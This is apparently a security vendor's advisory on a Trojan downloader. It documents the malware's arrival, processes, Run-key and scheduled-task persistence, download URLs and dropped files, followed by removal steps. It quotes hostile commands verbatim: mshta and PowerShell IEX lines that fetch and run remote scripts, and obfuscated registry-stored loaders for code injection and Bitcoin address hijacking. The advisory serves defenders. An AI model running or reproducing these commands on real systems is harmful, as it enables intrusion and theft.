Analysis by: Maria Emreen Viray

ALIASES:

TrojanDownloader:O97M/EncDoc.R!MTB (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system.

  TECHNICAL DETAILS

File Size: 11,436 bytes
File Type: Other
Memory Resident: Yes
Initial Samples Received Date: 03 May 2021
Payload: Connects to URLs/IPs, Disables services, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • mshta http://www.j.mp/{redirection to specific resource}
  • "%System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt ';$sss= {Obfuscated Code};$bbb={Obfuscated Code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
  • "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://{BLOCKED}1230948@getyournewblog.blogspot.com/p /{number}.html""\"", 0 : window.close"\")
  • "%System%\taskkill.exe" /f /im Excel.exe
  • "%System%\taskkill.exe" /f /im winword.exe
  • "%System%\WScript.exe" "%Public%\kuchb.vbs"

It injects codes into the following process(es):

  • %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
DLESOLCRETSAM = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).MSOFFICELO)|IEX"", 0 : window.close")

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
dkkkksakdosexography = "mshta""http://{BLOCKED}1230948@newblogset1{number}.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = "mshta""http://{BLOCKED}1230948@firstblognew123.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
nunukhaoo = "mshta""http://{BLOCKED}1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/{number}.html "

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close") → spawns and injects code to %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Other System Modifications

This Trojan adds the following registry entries as part of its installation routine:

HKEY_CURRENT_USER\Software
MSOFFICELO = $mixol='akunamahtahaEX'.replace('akunamahtaha','I');sal M $mixol;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$ijijinjnini='{Obfuscated code that injects to spawned aspnet_compiler.exe }'.replace('**^**','%@$!@#%!@$^^@$!@#!@#').replace('%@$!@#%!@$^^@$!@#!@#','%');$asciiChars =$ijijinjnini.ToCharArray();[Array]::Reverse($asciiChars);$tu=-join $asciiChars;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| M

HKEY_CURRENT_USER\Software
nasdnasndnad = $cici=@({Obfuscated PowerShell code that performs Bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

  • Short URLs of initial connection:
    • http://www.j.mp/{redirection to specific resource}
    • http://bit.ly/{redirection to specific resource}
      • redirects to:
        • https://{BLOCKED}.blogspot.com/p/{number}.html → remotely executes VB script which establishes scheduled task and autorun key for persistence, sets the specified values in HKEY_CURRENT_USER\Software, and terminates specific MS Office applications
  • https://{BLOCKED}.us.archive.org/31/items/img-2-exe/DANIAL.txt → injects code to spawned %Windows%\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → connects to the following URLs which downloads files and executes kuchb.vbs
    • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
    • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
    • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batman.bat

It saves the files it downloads using the following names:

  • %Public%\batman.bat → starts clone.vbs
  • %Public%\kuchb.vbs → persistence for batman.bat
  • %Public%\clone.vbs → disables security in infected machine

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 16.768.08
FIRST VSAPI PATTERN DATE: 08 Jun 2021
VSAPI OPR PATTERN File: 16.769.00
VSAPI OPR PATTERN Date: 09 Jun 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:  

  • Task Name: WIND0WSUPLATE
  • Task to be run: \""mshta\""vbscript:Execute("\"CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta http://{BLOCKED}1230948@getyournewblog.blogspot.com/p/{number}.html""\"", 0 : window.close"\")

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • DLESOLCRETSAM = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).MSOFFICELO)|IEX"", 0 : window.close")
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • dkkkksakdosexography = "mshta""http://{BLOCKED}1230948@newblogset1{number}.blogspot.com/p/{number}.html"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • (Default) = "mshta""http://{BLOCKED}1230948@firstblognew123.blogspot.com/p/{number}.html"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • nunukhaoo = "mshta""http://{BLOCKED}1230948@papagunnakjdnmwdnwmndwm.blogspot.com/p/{number}.html"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close")
  • In HKEY_CURRENT_USER\Software
    • MSOFFICELO = $mixol='akunamahtahaEX'.replace('akunamahtaha','I');sal M $mixol;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$ijijinjnini='{Obfuscated code that injects to spawned aspnet_compiler.exe }'.replace('**^**','%@$!@#%!@$^^@$!@#!@#').replace('%@$!@#%!@$^^@$!@#!@#','%');$asciiChars =$ijijinjnini.ToCharArray();[Array]::Reverse($asciiChars);$tu=-join $asciiChars;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| M
  • In HKEY_CURRENT_USER\Software
    • nasdnasndnad = $cici=@({Obfuscated powershell code that performs bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX

Step 6

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Public%\batman.bat
  • %Public%\kuchb.vbs
  • %Public%\clone.vbs

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.P97M.VALYRIA.YXBED. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


Did this description help? Tell us how we did.